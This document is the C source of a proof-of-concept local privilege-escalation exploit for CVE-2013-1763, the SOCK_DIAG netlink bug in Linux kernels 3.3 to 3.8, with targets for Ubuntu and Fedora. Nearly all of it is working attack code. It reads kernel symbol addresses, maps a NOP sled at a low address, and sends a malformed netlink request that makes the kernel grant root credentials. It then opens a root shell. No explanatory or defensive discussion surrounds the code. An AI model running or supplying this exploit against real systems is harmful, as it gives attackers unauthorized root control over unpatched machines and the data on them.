: Linux Kernel 3.3-3.8 – SOCK_DIAG Local Root Exploit

[]

/* 
  * quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
  * bug found by Spender
  * poc by SynQ
  * 
  * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
  * using nl_table->hash.rehash_time, index 81
  * 
  * Fedora 18 support added
  * 
  * 2/2013
  */
     #include <unistd.h>
  #include <sys/socket.h>
  #include <linux/netlink.h>
  #include <netinet/tcp.h>
  #include <errno.h>
  #include <linux/if.h>
  #include <linux/filter.h>
  #include <string.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include <linux/sock_diag.h>
  #include <linux/inet_diag.h>
  #include <linux/unix_diag.h>
  #include <sys/mman.h>
     typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  _commit_creds commit_creds;
  _prepare_kernel_cred prepare_kernel_cred;
  unsigned long sock_diag_handlers, nl_table;
     int __attribute__((regparm(3)))
  kernel_code()
  {
 commit_creds(prepare_kernel_cred(0));
 return -1;
  }
     int jump_payload_not_used(void *skb, void *nlh)
  {
 asm volatile (
 "mov $kernel_code, %eax\n"
 "call *%eax\n"
 );
  }
     unsigned long
  get_symbol(char *name)
  {
 FILE *f;
 unsigned long addr;
 char dummy, sym[512];
 int ret = 0;
    f = fopen("/proc/kallsyms", "r");
 if (!f) {
 return 0;
 }
    while (ret != EOF) {
 ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
 if (ret == 0) {
 fscanf(f, "%s\n", sym);
 continue;
 }
 if (!strcmp(name, sym)) {
 printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
 fclose(f);
 return addr;
 }
 }
 fclose(f);
    return 0;
  }
     int main(int argc, char*argv[])
  {
 int fd;
 unsigned family;
 struct {
 struct nlmsghdr nlh;
 struct unix_diag_req r;
 } req;
 char buf[8192];
    if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
 printf("Can't create sock diag socket\n");
 return -1;
 }
    memset(&req, 0, sizeof(req));
 req.nlh.nlmsg_len = sizeof(req);
 req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
 req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
 req.nlh.nlmsg_seq = 123456;
    //req.r.sdiag_family = 89;
 req.r.udiag_states = -1;
 req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
    if(argc==1){
 printf("Run: %s Fedora|Ubuntu\n",argv[0]);
 return 0;
 }
 else if(strcmp(argv[1],"Fedora")==0){
 commit_creds = (_commit_creds) get_symbol("commit_creds");
 prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
 sock_diag_handlers = get_symbol("sock_diag_handlers");
 nl_table = get_symbol("nl_table");
    if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
 printf("some symbols are not available!\n");
 exit(1);
 }
    family = (nl_table - sock_diag_handlers) / 4;
 printf("family=%d\n",family);
 req.r.sdiag_family = family;
    if(family>255){
 printf("nl_table is too far!\n");
 exit(1);
 }
 }
 else if(strcmp(argv[1],"Ubuntu")==0){
 commit_creds = (_commit_creds) 0xc106bc60;
 prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;
 req.r.sdiag_family = 81;
 }
    unsigned long mmap_start, mmap_size;
 mmap_start = 0x10000;
 mmap_size = 0x120000;
 printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);
    if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
 MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
 printf("mmap fault\n");
 exit(1);
 }
 memset((void*)mmap_start, 0x90, mmap_size);
    char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
 unsigned long *asd = &jump[4];
 *asd = (unsigned long)kernel_code;
    memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));
    if ( send(fd, &req, sizeof(req), 0) < 0) {
 printf("bad send\n");
 close(fd);
 return -1;
 }
    printf("uid=%d, euid=%d\n",getuid(), geteuid() );
    if(!getuid())
 system("/bin/sh");
     }

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